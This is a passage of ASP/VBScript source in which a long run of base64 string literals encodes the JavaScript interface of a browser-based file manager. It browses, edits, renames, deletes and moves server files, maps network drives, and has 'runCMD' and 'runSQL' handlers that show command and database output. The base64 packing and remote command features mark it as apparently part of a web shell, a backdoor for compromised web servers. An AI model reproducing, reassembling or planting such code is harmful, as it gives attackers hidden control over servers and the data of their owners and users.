725"ZC5jcy52Yi5hc3guaW5jLmFzYS5hc2F4LmFzY3gubG9nLic7CnZhciBleHRfaW1nID0gJy5qcGcuanBlLmpwZWcucG5nLmdpZi5wbmcudGlmZi5ibXAuJzsKdmFyIGltZ19sb2FkaW5nID0gbnVsbDsKdmFyIGltZ192aWV3ID0gbnVsbDsKdmFyIHNhdmVUaW1lciA9IDA7CnZhciBwb3NTUUwgPSAwOwp2YXIgcG9zRXhwID0gMDsK" &_
726"dmFyIG5vRmlsZSA9IDA7CnZhciBub0ZvbGRlciA9IDA7CgpTdHJpbmcucHJvdG90eXBlLnRyaW0gPSBmdW5jdGlvbigpIHsKCXJldHVybiB0aGlzLnJlcGxhY2UoL15ccyt8XHMrJC9nLCIiKTsKfQoKU3RyaW5nLnByb3RvdHlwZS5zdGFydHNXaXRoID0gZnVuY3Rpb24oc3RyKXsKICAgIHJldHVybiAodGhpcy5pbmRleE9mKHN0" &_
727"cikgPT09IDApOwp9CgpTdHJpbmcucHJvdG90eXBlLmFkZFNsYXNoID0gZnVuY3Rpb24oKXsKCXBhdGggPSB0aGlzOwoJaWYocGF0aC5sZW5ndGg8MSkgcmV0dXJuIHBhdGg7CglpZihwYXRoLnN1YnN0cmluZyhwYXRoLmxlbmd0aCAtMSkgIT0gJ1xcJykKCXsKCQlwYXRoICs9ICdcXCc7Cgl9CglyZXR1cm4gcGF0aDsKfQoKQXJy" &_
728"YXkucHJvdG90eXBlLnJlbW92ZSA9IGZ1bmN0aW9uKG5hbWUpIHsKCXZhciBpZCA9IHRoaXMubGlzdEZpbmQobmFtZSk7CglpZiAoaWQgPiAtMSkgdGhpcy5zcGxpY2UoaWQsIDEpOwp9CgpBcnJheS5wcm90b3R5cGUubGlzdEZpbmQgPSBmdW5jdGlvbihuYW1lKSB7Cglmb3IoeD0wO3g8dGhpcy5sZW5ndGg7eCsrKQoJewoJCWlm" &_
729"KHRoaXNbeF0uc3RhcnRzV2l0aChuYW1lKyJ8IikpIHJldHVybiB4OwoJfQoJcmV0dXJuIC0xOwp9CgpmdW5jdGlvbiBjb21wYXJlTmFtZXMoYSwgYikgewoJdmFyIG5hbWVBID0gYS5zcGxpdCgifCIpWzBdLnRvTG93ZXJDYXNlKCApOwoJdmFyIG5hbWVCID0gYi5zcGxpdCgifCIpWzBdLnRvTG93ZXJDYXNlKCApOwoJaWYgKG5h" &_
730"bWVBIDwgbmFtZUIpIHtyZXR1cm4gLTF9CglpZiAobmFtZUEgPiBuYW1lQikge3JldHVybiAxfQoJcmV0dXJuIDA7Cn0KCmZ1bmN0aW9uIGFkZEV2ZW50KG9iaiwgZXZUeXBlLCBmbiwgdXNlQ2FwdHVyZSl7CiAgaWYgKG9iai5hZGRFdmVudExpc3RlbmVyKXsKICAgIG9iai5hZGRFdmVudExpc3RlbmVyKGV2VHlwZSwgZm4sIHVz" &_
731"ZUNhcHR1cmUpOwogICAgcmV0dXJuIHRydWU7CiAgfSBlbHNlIGlmIChvYmouYXR0YWNoRXZlbnQpewogICAgdmFyIHIgPSBvYmouYXR0YWNoRXZlbnQoIm9uIitldlR5cGUsIGZuKTsKICAgIHJldHVybiByOwogIH0gZWxzZSB7CiAgICBhbGVydCgiSGFuZGxlciBjb3VsZCBub3QgYmUgYXR0YWNoZWQiKTsKICB9Cn0KCmZ1bmN0" &_
732"aW9uIGNyZWF0SW1hZ2UobmFtZSkgewoJaW1nVGFnID0gIiI7CgoJZXh0TmFtZSA9IG5hbWUudG9Mb3dlckNhc2UoKS5zcGxpdCgnLicpOwoJZXh0TmFtZSA9IGV4dE5hbWVbZXh0TmFtZS5sZW5ndGgtMV07CgoJaWYoZXh0X2ltZy5zZWFyY2goJy4nK2V4dE5hbWUrJy4nKSA+IC0xKQoJCWltZ1RhZyA9ICImbmJzcDsmbmJzcDs8" &_
733"aW1nIHNyYz0nP21vZGU9aW1hZ2UmaW1nSWQ9aW1nJz48QSBocmVmPScjVmlld3wiICsgZmZMaXN0LmluZm8ucGF0aC5hZGRTbGFzaCgpICsgbmFtZSArICInPiIgKyBuYW1lICsgIjwvQT4iCgllbHNlCgkJaW1nVGFnID0gIiZuYnNwOyZuYnNwOzxpbWcgc3JjPSc/bW9kZT1pbWFnZSZpbWdJZD11bmtub3cnPjxBIGhyZWY9Jz9t" &_
734"b2RlPWRvd25sb2FkJmxvY2F0aW9uPSIgKyBmZkxpc3QuaW5mby5wYXRoICsgIiZmaWxlPSIrbmFtZSsiJz4iICsgbmFtZSArICI8L0E+IjsKCglpZihleHRfdGV4dC5zZWFyY2goJy4nK2V4dE5hbWUrJy4nKSA+IC0xKQoJCWltZ1RhZyA9ICImbmJzcDsmbmJzcDs8aW1nIHNyYz0nP21vZGU9aW1hZ2UmaW1nSWQ9dHh0Jz48QSBo" &_
735"cmVmPScjRWRpdHwiICsgZmZMaXN0LmluZm8ucGF0aC5hZGRTbGFzaCgpICsgbmFtZSArICInPiIgKyBuYW1lICsgIjwvQT4iOwoKCXJldHVybiBpbWdUYWc7Cn0KCmZ1bmN0aW9uIGdldElkKGlkKSB7Cgl2YXIgbmV3SWQgPSBmYWxzZTsKCglpZiAoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQpIHsgLy8gRE9NMyA9IElFNSwgTlM2" &_
736"CgkJbmV3SWQgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZChpZCk7Cgl9CgllbHNlIHsKCQlpZiAoZG9jdW1lbnQubGF5ZXJzKSB7IC8vIE5ldHNjYXBlIDQKCQkJbmV3SWQgPSBkb2N1bWVudC5pZDsKCQl9CgkJZWxzZSB7IC8vIElFIDQKCQkJbmV3SWQgPSBkb2N1bWVudC5hbGwuaWQ7CgkJfQoJfQoJcmV0dXJuIG5ld0lkOwp9" &_
737"CgpmdW5jdGlvbiBjcmVhdGVSZXF1ZXN0T2JqZWN0KCkgewoJdmFyIHhtbGh0dHAgPSBmYWxzZTsKICBpZiAod2luZG93LlhNTEh0dHBSZXF1ZXN0KSB7CgkgeG1saHR0cCA9IG5ldyBYTUxIdHRwUmVxdWVzdCgpOwoJIGlmICh4bWxodHRwLm92ZXJyaWRlTWltZVR5cGUpIHhtbGh0dHAub3ZlcnJpZGVNaW1lVHlwZSgndGV4dC9o" &_
738"dG1sJyk7CiAgfSBlbHNlIGlmICh3aW5kb3cuQWN0aXZlWE9iamVjdCkgewoJIHRyeSB7CgkJeG1saHR0cCA9IG5ldyBBY3RpdmVYT2JqZWN0KCJNc3htbDIuWE1MSFRUUCIpOwoJIH0gY2F0Y2ggKGUpIHsKCQl0cnkgewoJCSAgIHhtbGh0dHAgPSBuZXcgQWN0aXZlWE9iamVjdCgiTWljcm9zb2Z0LlhNTEhUVFAiKTsKCQl9IGNh" &_
739"dGNoIChlKSB7fQoJIH0KICB9CiAgcmV0dXJuIHhtbGh0dHA7Cn0KCmZ1bmN0aW9uIHNlbmRSZXF1ZXN0KGxvY2F0aW9uLCBpdGVtU3RhcnQpIHsKCXRyeXsKCQljdXJyZW50X3J1bm5pbmcgPSB0cnVlOwoJCXNob3dMb2FkaW5nKCk7CgkJaWYoIWl0ZW1TdGFydCkgaXRlbVN0YXJ0ID0gMTsKCQlsb2NhdGlvbiA9IGVuY29kZVVS" &_
740"SUNvbXBvbmVudChsb2NhdGlvbik7CgkJaHR0cC5vcGVuKCdQT1NUJywgZmZMaXN0LmluZm8uZmlsZXBhdGgrIiIpOwoJCWh0dHAuc2V0UmVxdWVzdEhlYWRlcignQ29udGVudC1UeXBlJywgJ2FwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCcpOwoJCWh0dHAub25yZWFkeXN0YXRlY2hhbmdlID0gaGFuZGxlUmVzcG9u" &_
741"c2U7CgkJaHR0cC5zZW5kKCdtb2RlPWV4cGxvcmVyJml0ZW1TdGFydD0nICsgaXRlbVN0YXJ0ICsgJyZsb2NhdGlvbj0nK2xvY2F0aW9uKTsKCX0KCWNhdGNoKGUpewoJCWNsZWFyVGltZW91dCAoIHNhdmVUaW1lciApOwoJCWFsZXJ0KCJKYXZhc2NyaXB0IFByb2JsZW0gISEhIik7CgkJc2hvd01vZGUoIkV4cGxvcmVyIiwgZmFs" &_
742"c2UpOwoJCWN1cnJlbnRfcnVubmluZyA9IGZhbHNlOwoJCWhpZGVMb2FkaW5nKCk7Cgl9CglmaW5hbGx5e30KfQoKZnVuY3Rpb24gc2VuZFJlcXVlc3RBY3Rpb24obW9kZSwgYWRkaXRpb24pIHsKCXRyeXsKCQljdXJyZW50X3J1bm5pbmcgPSB0cnVlOwoJCXNob3dMb2FkaW5nKCk7CgkJYWRkaXRpb25RdWVyeSA9ICcnOwoKCQlp" &_
743"ZigodHlwZW9mKGFkZGl0aW9uKSkudG9Mb3dlckNhc2UoKSA9PSAnb2JqZWN0JykKCQkJaWYoYWRkaXRpb24ubGVudGggPSAyKQoJCQkJaWYoYWRkaXRpb25bMF0ubGVuZ3RoID4gMCAmJiBhZGRpdGlvblswXS5sZW5ndGggPT0gYWRkaXRpb25bMV0ubGVuZ3RoKQoJCQkJCWZvciAoaT0wO2k8YWRkaXRpb25bMF0ubGVuZ3RoO2kr" &_
744"Kyl7CgkJCQkJCWFkZGl0aW9uUXVlcnkgKz0gJyYnK2FkZGl0aW9uWzBdW2ldKyc9JytlbmNvZGVVUklDb21wb25lbnQoYWRkaXRpb25bMV1baV0pOwoJCQkJCX0KCgkJaWYoYWRkaXRpb25RdWVyeSA9PSAnJykKCQl7CgkJCWFsZXJ0KCJXcm9uZyByZXF1ZXN0ICEhIik7CgkJCWN1cnJlbnRfcnVubmluZyA9IGZhbHNlOwoJCQlo" &_
745"aWRlTG9hZGluZygpOwoJCQlyZXR1cm47CgkJfQoKCQljdXJyZW50X2xvY2F0aW9uID0gZW5jb2RlVVJJQ29tcG9uZW50KGZmTGlzdC5pbmZvLnBhdGgpOwoJCWh0dHAub3BlbignUE9TVCcsIGZmTGlzdC5pbmZvLmZpbGVwYXRoKyIiKTsKCQlodHRwLnNldFJlcXVlc3RIZWFkZXIoJ0NvbnRlbnQtVHlwZScsICdhcHBsaWNhdGlv" &_
746"bi94LXd3dy1mb3JtLXVybGVuY29kZWQnKTsKCQlodHRwLm9ucmVhZHlzdGF0ZWNoYW5nZSA9IGhhbmRsZUFjdGlvblJlc3BvbnNlOwoJCWh0dHAuc2VuZCgnbW9kZT0nK21vZGUrJyZsb2NhdGlvbj0nK2N1cnJlbnRfbG9jYXRpb24rYWRkaXRpb25RdWVyeSk7Cgl9CgljYXRjaChlKXsKCQljbGVhclRpbWVvdXQgKCBzYXZlVGlt" &_
747"ZXIgKTsKCQlhbGVydCgiSmF2YXNjcmlwdCBQcm9ibGVtICEhISIpOwoJCXNob3dNb2RlKCJFeHBsb3JlciIsIHRydWUpOwoJCWN1cnJlbnRfcnVubmluZyA9IGZhbHNlOwoJCWhpZGVMb2FkaW5nKCk7Cgl9CglmaW5hbGx5e30KfQoKZnVuY3Rpb24gaGFuZGxlUmVzcG9uc2UoKSB7Cgl0cnkgewoJCWlmKGh0dHAucmVhZHlTdGF0" &_
748"ZSA9PSA0KXsKCQkJdmFyIGNoYW5nZVVybCA9IGZhbHNlOwoJCQl2YXIgcmVzcG9uc2UgPSAnJzsKCQkJaWYgKGh0dHAuc3RhdHVzID09IDIwMCl7CgkJCQlyZXNwb25zZSA9IGh0dHAucmVzcG9uc2VUZXh0OwoJCQkJaWYgKHJlc3BvbnNlLnN0YXJ0c1dpdGgoImxzdFJlc3BvbnNlIikgJiYgZXZhbCgiIiArIHJlc3BvbnNlICsg" &_
749"IiIpKSB7CgkJCQkJaWYobHN0UmVzcG9uc2UuZXJyb3IpCgkJCQkJewoJCQkJCQljaGFuZ2VVcmwgPSB0cnVlOwoKCQkJCQkJYWxlcnQoIkNhbid0IGFjY2VzcyB0byBcIiIgKyBsc3RSZXNwb25zZS5pbmZvLnBhdGguYWRkU2xhc2goKSArICJcIiA6ICIgKyBsc3RSZXNwb25zZS5lcnJvci5lcnJvckRlc2MpOwoJCQkJCQlnZXRJ" &_
750"ZCgnZXJyQ29kZScpLmlubmVySFRNTCA9IGxzdFJlc3BvbnNlLmVycm9yLmVycm9yOwoJCQkJCQlnZXRJZCgnZXJyRGVzYycpLmlubmVySFRNTCA9ICJDYW4ndCBhY2Nlc3MgdG8gXCIiICsgbHN0UmVzcG9uc2UuaW5mby5wYXRoLmFkZFNsYXNoKCkgKyAiXCIgOiAiICsgbHN0UmVzcG9uc2UuZXJyb3IuZXJyb3JEZXNjOwoJCQkJ" &_
751"CQlzaG93ZGl2KCJ0YmxFcnIiLCB0cnVlLCB0cnVlKTsKCQkJCQl9ZWxzZXsKCQkJCQkJc2hvd2RpdigidGJsRXJyIiwgZmFsc2UpOwoJCQkJCQlzaG93ZGl2KCJidExvYWRtb3JlIiwgIWxzdFJlc3BvbnNlLnN0YXR1cy5maW5pc2hlZCk7CgkJCQkJCWlmKGxzdFJlc3BvbnNlLnN0YXR1cy5pdGVtU3RhcnQgPT0gMSl7CgkJCQkJ" &_
752"CQlmZkxpc3QgPSBsc3RSZXNwb25zZTsKCQkJCQkJCW5vRm9sZGVyID0gMDsKCQkJCQkJCW5vRmlsZSA9IDA7CgkJCQkJCQlsYXN0VXJsQmFja3VwID0gd2luZG93LmxvY2F0aW9uLmhyZWY7CgkJCQkJCQlnZXRJZCgicmVtb3RlIikudmFsdWU9ZmZMaXN0LmluZm8ucGF0aC5hZGRTbGFzaCgpOwoJCQkJCQkJZ2V0SWQoInJlbW90" &_
753"ZUNvcHkiKS52YWx1ZSA9IGZmTGlzdC5pbmZvLnBhdGguYWRkU2xhc2goKTsKCQkJCQkJCWdldElkKCJyZW1vdGVNb3ZlIikudmFsdWUgPSBmZkxpc3QuaW5mby5wYXRoLmFkZFNsYXNoKCk7CgkJCQkJCX1lbHNlewoJCQkJCQkJZmZMaXN0LnN0YXR1cy5pdGVtU3RhcnQgPSBsc3RSZXNwb25zZS5zdGF0dXMuaXRlbVN0YXJ0OwoJ" &_
754"CQkJCQkJZmZMaXN0LnN0YXR1cy5maW5pc2hlZCA9IGxzdFJlc3BvbnNlLnN0YXR1cy5maW5pc2hlZDsKCQkJCQkJCWZmTGlzdC5mb2xkZXJzID0gZmZMaXN0LmZvbGRlcnMuY29uY2F0KGxzdFJlc3BvbnNlLmZvbGRlcnMpOwoJCQkJCQkJZmZMaXN0LmZpbGVzID0gZmZMaXN0LmZpbGVzLmNvbmNhdChsc3RSZXNwb25zZS5maWxl" &_
755"cyk7CgkJCQkJCX0KCQkJCQkJLy9mZkxpc3QuZm9sZGVycy5zb3J0KGNvbXBhcmVOYW1lcyk7CgkJCQkJCS8vZmZMaXN0LmZpbGVzLnNvcnQoY29tcGFyZU5hbWVzKTsKCQkJCQkJZGlzcGxheUNvbnRlbnQobHN0UmVzcG9uc2UuZm9sZGVycy5sZW5ndGgsIGxzdFJlc3BvbnNlLmZpbGVzLmxlbmd0aCk7CgkJCQkJfQoJCQkJfWVs" &_
756"c2V7CgkJCQkJCWlmKHJlc3BvbnNlID09ICcnKXsKCQkJCQkJCWFsZXJ0KCJTZXNzaW9uIFRpbWVvdXQuIFBsZWFzZSBsb2dpbiBhZ2FpbiAhIik7CgkJCQkJCX1lbHNlewoJCQkJCQkJYWxlcnQoIkJhZCByZXNwb25zZSAhISEiKTsKCQkJCQkJfQoJCQkJCQljaGFuZ2VVcmwgPSB0cnVlOwoJCQkJfQoJCQl9ZWxzZXsKCQkJCQlj" &_
757"bGVhclRpbWVvdXQgKCBzYXZlVGltZXIgKTsKCQkJCQlhbGVydCgiQmFkIHJlc3BvbnNlIEhUVFAgU3RhdHVzICgiKyBodHRwLnN0YXR1cyArIikgISEhIik7CgkJCQkJY2hhbmdlVXJsID0gdHJ1ZTsKCQkJCX0KCQkJc2hvd01vZGUoJ0V4cGxvcmVyJywgY2hhbmdlVXJsKTsKCQkJY3VycmVudF9ydW5uaW5nID0gZmFsc2U7CgkJ" &_
758"CWhpZGVMb2FkaW5nKCk7CgkJfQogIAl9Y2F0Y2goZSl7CgkJY2xlYXJUaW1lb3V0ICggc2F2ZVRpbWVyICk7CgkJYWxlcnQoIkphdmFzY3JpcHQgUHJvYmxlbSAhISEiKTsKCQlzaG93TW9kZSgiRXhwbG9yZXIiLCBmYWxzZSk7CgkJY3VycmVudF9ydW5uaW5nID0gZmFsc2U7CgkJaGlkZUxvYWRpbmcoKTsKCX0KCWZpbmFsbHl7" &_
759"fQp9CgpmdW5jdGlvbiBoYW5kbGVBY3Rpb25SZXNwb25zZSgpIHsKCXRyeSB7CgkJaWYoaHR0cC5yZWFkeVN0YXRlID09IDQpewoJCQl2YXIgc2hvd0NvbnRlbnQgPSAiRXhwbG9yZXIiOwoJCQl2YXIgY2hhbmdlVXJsID0gZmFsc2U7CgkJCXZhciByZXNwb25zZSA9ICcnOwoJCQlpZiAoaHR0cC5zdGF0dXMgPT0gMjAwKXsKCQkJ" &_
760"CXJlc3BvbnNlID0gaHR0cC5yZXNwb25zZVRleHQ7CgkJCQlpZiAocmVzcG9uc2Uuc3RhcnRzV2l0aCgiYWN0aW9uUmVzcG9uc2UiKSAmJiBldmFsKCIiICsgcmVzcG9uc2UgKyAiIikpIHsKCQkJCQlpZihhY3Rpb25SZXNwb25zZS5hY3Rpb24uZXJyb3IgIT0gMCkKCQkJCQl7CgkJCQkJCWFsZXJ0KGFjdGlvblJlc3BvbnNlLmFj" &_
761"dGlvbi5lcnJvckRlc2MpOwoJCQkJCQlnZXRJZCgnZXJyQ29kZScpLmlubmVySFRNTCA9IGFjdGlvblJlc3BvbnNlLmFjdGlvbi5lcnJvcjsKCQkJCQkJZ2V0SWQoJ2VyckRlc2MnKS5pbm5lckhUTUwgPSBhY3Rpb25SZXNwb25zZS5hY3Rpb24uZXJyb3JEZXNjLnJlcGxhY2UoIlxyXG5cclxuIiwgIjxQPiIpLnJlcGxhY2UoIlxy" &_
762"XG4iLCAiPEJSPiIpICsgJyZuYnNwOyc7CgoJCQkJCQlzaG93ZGl2KCJ0YmxFcnIiLCB0cnVlLCB0cnVlKTsKCgkJCQkJCXN3aXRjaCAoYWN0aW9uUmVzcG9uc2UuYWN0aW9uLmFjdGlvbil7CgkJCQkJCWNhc2UgInJ1blNRTCIgOgoJCQkJCQkJZGlzcGxheVNRTENvbnRlbnQoYWN0aW9uUmVzcG9uc2UpOwoJCQkJCQkJc2hvd0Nv" &_
763"bnRlbnQgPSAiU1FMIjsKCQkJCQkJCWJyZWFrOwoJCQkJCQljYXNlICJydW5DTUQiIDoKCQkJCQkJCXNob3dDb250ZW50ID0gIkNNRCI7CgkJCQkJCQlicmVhazsKCQkJCQkJZGVmYXVsdDoKCQkJCQkJCWNoYW5nZVVybCA9IHRydWU7CgkJCQkJCX0KCQkJCQl9ZWxzZXsKCQkJCQkJc3dpdGNoIChhY3Rpb25SZXNwb25zZS5hY3Rp" &_
764"b24uYWN0aW9uKXsKCQkJCQkJY2FzZSAicmVuYW1lRmlsZSIgOgoJCQkJCQkJZmZMaXN0LmZpbGVzW2FjdGlvblJlc3BvbnNlLmFjdGlvbi5maWxlSWRdID0gZmZMaXN0LmZpbGVzW2FjdGlvblJlc3BvbnNlLmFjdGlvbi5maWxlSWRdLnJlcGxhY2UoYWN0aW9uUmVzcG9uc2UuYWN0aW9uLmZpbGVOYW1lLCBhY3Rpb25SZXNwb25z" &_
765"ZS5hY3Rpb24ubmV3TmFtZSk7CgkJCQkJCQlnZXRJZCgnZmlsZScrYWN0aW9uUmVzcG9uc2UuYWN0aW9uLmZpbGVJZCkuY2hpbGROb2Rlc1swXS5pbm5lckhUTUwgPSBhZGRGaWxlUm93KGFjdGlvblJlc3BvbnNlLmFjdGlvbi5maWxlSWQpLmNoaWxkTm9kZXNbMF0uaW5uZXJIVE1MOwoJCQkJCQkJZ2V0SWQoJ2ZpbGUnK2FjdGlv" &_
766"blJlc3BvbnNlLmFjdGlvbi5maWxlSWQpLmNoaWxkTm9kZXNbNl0uaW5uZXJIVE1MID0gYWRkRmlsZVJvdyhhY3Rpb25SZXNwb25zZS5hY3Rpb24uZmlsZUlkKS5jaGlsZE5vZGVzWzZdLmlubmVySFRNTDsKCQkJCQkJCWJyZWFrOwoJCQkJCQljYXNlICJyZW5hbWVGb2xkZXIiIDoKCQkJCQkJCWZmTGlzdC5mb2xkZXJzW2FjdGlv" &_
767"blJlc3BvbnNlLmFjdGlvbi5mb2xkZXJJZF0gPSBmZkxpc3QuZm9sZGVyc1thY3Rpb25SZXNwb25zZS5hY3Rpb24uZm9sZGVySWRdLnJlcGxhY2UoYWN0aW9uUmVzcG9uc2UuYWN0aW9uLmZvbGRlck5hbWUsIGFjdGlvblJlc3BvbnNlLmFjdGlvbi5uZXdOYW1lKTsKCQkJCQkJCWdldElkKCdmb2xkZXInK2FjdGlvblJlc3BvbnNl" &_
768"LmFjdGlvbi5mb2xkZXJJZCkuZmlyc3RDaGlsZC5pbm5lckhUTUwgPSAiJm5ic3A7Jm5ic3A7PGltZyBzcmM9Jz9tb2RlPWltYWdlJmltZ0lkPWRpcic+PEEgaHJlZj0nI0V4cGxvcmVyfCIgKyBmZkxpc3QuaW5mby5wYXRoICsgYWN0aW9uUmVzcG9uc2UuYWN0aW9uLm5ld05hbWUuYWRkU2xhc2goKSsiJz4iICsgYWN0aW9uUmVz" &_
769"cG9uc2UuYWN0aW9uLm5ld05hbWUgKyAiPC9BPiI7CgkJCQkJCQlicmVhazsKCQkJCQkJY2FzZSAicmVtb3ZlRHJpdmVyIiA6CgkJCQkJCQlnZXRJZCgidGJsRHJpdmVycyIpLmZpcnN0Q2hpbGQucmVtb3ZlQ2hpbGQoZ2V0SWQoImRyaXZlciIgKyBhY3Rpb25SZXNwb25zZS5hY3Rpb24uZHJpdmVyTGV0dGVyKSk7CgkJCQkJCQli" &_
770"cmVhazsKCQkJCQkJY2FzZSAibWFwRHJpdmVyIiA6CgkJCQkJCQluZXdSb3cgPSBhZGRUUihhY3Rpb25SZXNwb25zZS5hY3Rpb24uZHJpdmVyTGV0dGVyLCAiZHJpdmVyIik7CgkJCQkJCQluZXdDb2wgPSBhZGRURCgiPGEgaHJlZj0nI0V4cGxvcmVyfCIgKyBhY3Rpb25SZXNwb25zZS5hY3Rpb24uZHJpdmVyTGV0dGVyICsgIjpc" &_
771"XCcgdGl0bGU9JyIgKyBhY3Rpb25SZXNwb25zZS5hY3Rpb24ucmVtb3RlU2hhcmUgKyAiJz4mbmJzcDsmbmJzcDtOZXR3b3JrIERyaXZlIFsiICsgYWN0aW9uUmVzcG9uc2UuYWN0aW9uLmRyaXZlckxldHRlciArICI6XTwvYT4mbmJzcDsmbmJzcDs8YSBocmVmPVwiamF2YXNjcmlwdDpyZW1vdmVEcml2ZXIoJyIgKyBhY3Rpb25S" &_
772"ZXNwb25zZS5hY3Rpb24uZHJpdmVyTGV0dGVyICsgIicpO1wiPltSZW1vdmVdPC9hPiIsICJrYnJ0bSIpOwoJCQkJCQkJbmV3Um93LmFwcGVuZENoaWxkKG5ld0NvbCk7CgkJCQkJCQlnZXRJZCgidGJsRHJpdmVycyIpLmZpcnN0Q2hpbGQuaW5zZXJ0QmVmb3JlKG5ld1JvdywgZ2V0SWQoImFkZE1hcE5ldHdvcmsiKSk7CgkJCQkJ" &_
773"CQlicmVhazsKCQkJCQkJY2FzZSAicnVuQ01EIiA6CgkJCQkJCQlzaG93Q29udGVudCA9ICJDTUQiOwoJCQkJCQkJZ2V0SWQoInR4dENtZFJlc3VsdCIpLnZhbHVlID0gYWN0aW9uUmVzcG9uc2UuYWN0aW9uLnJldHVybkNvbnRlbnQ7CgkJCQkJCQlicmVhazsKCQkJCQkJY2FzZSAicnVuU1FMIiA6CgkJCQkJCQlkaXNwbGF5U1FM" &_
774"Q29udGVudChhY3Rpb25SZXNwb25zZSk7CgkJCQkJCQlzaG93Q29udGVudCA9ICJTUUwiOwoJCQkJCQkJYnJlYWs7CgkJCQkJCWNhc2UgImxvYWRGaWxlIiA6CgkJCQkJCQlpZihhY3Rpb25SZXNwb25zZS5hY3Rpb24uaXRlbVNpemUgPiA1MTIwMDApewoJCQkJCQkJCWFsZXJ0KCJGaWxlIHNpemUgaXMgdG9vIGxhcmdlICgiICsg" &_
775"YWN0aW9uUmVzcG9uc2UuYWN0aW9uLml0ZW1TaXplVGV4dCArICIpLCBtYXhpbXVtIGlzIDUwMEtCLiBJdCBtYXkgY2F1c2UgeW91ciBicm93c2VyIGZyZWV6ZSAhIik7CgkJCQkJCQkJY2hhbmdlVXJsID0gdHJ1ZTsKCQkJCQkJCX1lbHNlewoJCQkJCQkJCXNob3dDb250ZW50ID0gIkVkaXQiOwoJCQkJCQkJCWdldElkKCJ0eHRD" &_
776"b250ZW50IikudmFsdWUgPSBhY3Rpb25SZXNwb25zZS5hY3Rpb24uaXRlbUNvbnRlbnQ7CgkJCQkJCQkJZ2V0SWQoImxibEZpbGUiKS5pbm5lckhUTUwgPSBnZXRWYXIod2luZG93LmxvY2F0aW9uLmhyZWYsMSk7CgkJCQkJCQl9CgkJCQkJCQlicmVhazsKCQkJCQkJY2FzZSAic2F2ZUZpbGUiIDoKCQkJCQkJCXNob3dDb250ZW50" &_
777"ID0gIkVkaXQiOwoJCQkJCQkJdmFyIGVkaXRQYXRoID0gZ2V0VmFyKHdpbmRvdy5sb2NhdGlvbi5ocmVmLDEpLnNwbGl0KCJcXCIpOwoJCQkJCQkJZ2V0SWQoImxibEZpbGUiKS5pbm5lckhUTUwgPSBnZXRWYXIod2luZG93LmxvY2F0aW9uLmhyZWYsMSk7CgkJCQkJCQlpZighc2F2ZVRpbWVyKQoJCQkJCQkJCWFsZXJ0KCJGaWxl" &_
778"ICIgKyBlZGl0UGF0aFtlZGl0UGF0aC5sZW5ndGgtMV0gKyAiIHNhdmVkICEiKTsKCQkJCQkJCWJyZWFrOwoJCQkJCQljYXNlICJuZXdGaWxlIiA6CgkJCQkJCQlub0ZpbGUgKz0gMTsKCQkJCQkJCXNldEl0ZW1zQ291bnQoKTsKCQkJCQkJCWZmTGlzdC5maWxlcy5wdXNoKGFjdGlvblJlc3BvbnNlLmFjdGlvbi5uZXdJdGVtKTsK" &_
779"CQkJCQkJCWdldElkKCJ0YmxMaXN0IikuaW5zZXJ0QmVmb3JlKGFkZEZpbGVSb3coZmZMaXN0LmZpbGVzLmxpc3RGaW5kKGFjdGlvblJlc3BvbnNlLmFjdGlvbi5uZXdJdGVtLnNwbGl0KCJ8IilbMF0pKSwgZ2V0SWQoInRibExpc3QiKS5sYXN0Q2hpbGQubmV4dFNpYmxpbmcpOwoJCQkJCQkJYnJlYWs7CgkJCQkJCWNhc2UgIm5l" &_
780"d0ZvbGRlciIgOgoJCQkJCQkJbm9Gb2xkZXIgKz0gMTsKCQkJCQkJCXNldEl0ZW1zQ291bnQoKTsKCQkJCQkJCWZmTGlzdC5mb2xkZXJzLnB1c2goYWN0aW9uUmVzcG9uc2UuYWN0aW9uLm5ld0l0ZW0pOwoJCQkJCQkJZ2V0SWQoInRibExpc3QiKS5pbnNlcnRCZWZvcmUoYWRkRm9sZGVyUm93KGZmTGlzdC5mb2xkZXJzLmxpc3RG" &_
781"aW5kKGFjdGlvblJlc3BvbnNlLmFjdGlvbi5uZXdJdGVtLnNwbGl0KCJ8IilbMF0pKSwgZ2V0SWQoImdhcDAiKSk7CgkJCQkJCQlicmVhazsKCQkJCQkJY2FzZSAibW92ZSIgOgoJCQkJCQljYXNlICJkZWxldGUiIDoKCQkJCQkJCXJzcEZvbGRlcnMgPSBhY3Rpb25SZXNwb25zZS5hY3Rpb24uZm9sZGVyc0lkLnNwbGl0KCJ8Iik7" &_
782"CgkJCQkJCQlyc3BGaWxlcyA9IGFjdGlvblJlc3BvbnNlLmFjdGlvbi5maWxlc0lkLnNwbGl0KCJ8Iik7CgoJCQkJCQkJaWYocnNwRm9sZGVycy5sZW5ndGggPiAxKQoJCQkJCQkJewoJCQkJCQkJCWZvcihpPTA7aTxyc3BGb2xkZXJzLmxlbmd0aC0xO2krKykKCQkJCQkJCQl7CgkJCQkJCQkJCW5vRm9sZGVyIC09IDE7CgkJCQkJ" &_
783"CQkJCXNldEl0ZW1zQ291bnQoKTsKCQkJCQkJCQkJZ2V0SWQoInRibExpc3QiKS5yZW1vdmVDaGlsZChnZXRJZCgiZm9sZGVyIiArIGZmTGlzdC5mb2xkZXJzLmxpc3RGaW5kKHJzcEZvbGRlcnNbaV0pKSk7CgkJCQkJCQkJfQoJCQkJCQkJfQoKCQkJCQkJCWlmKHJzcEZpbGVzLmxlbmd0aCA+IDEpCgkJCQkJCQl7CgkJCQkJCQkJ" &_
784"Zm9yKGk9MDtpPHJzcEZpbGVzLmxlbmd0aC0xO2krKykKCQkJCQkJCQl7CgkJCQkJCQkJCW5vRmlsZSAtPSAxOwoJCQkJCQkJCQlzZXRJdGVtc0NvdW50KCk7CgkJCQkJCQkJCWdldElkKCJ0YmxMaXN0IikucmVtb3ZlQ2hpbGQoZ2V0SWQoImZpbGUiICsgZmZMaXN0LmZpbGVzLmxpc3RGaW5kKHJzcEZpbGVzW2ldKSkpOwoJCQkJ" &_
785"CQkJCX0KCQkJCQkJCX0KCQkJCQkJCWJyZWFrOwoJCQkJCQl9CgkJCQkJCXNob3dkaXYoInRibEVyciIsIGZhbHNlKTsKCQkJCQkJaWYoYWN0aW9uUmVzcG9uc2UuYWN0aW9uLm1zZ1Jlc3BvbnNlKQoJCQkJCQkJYWxlcnQoYWN0aW9uUmVzcG9uc2UuYWN0aW9uLm1zZ1Jlc3BvbnNlKTsKCQkJCQl9CgkJCQl9ZWxzZXsKCQkJCQkJ" &_
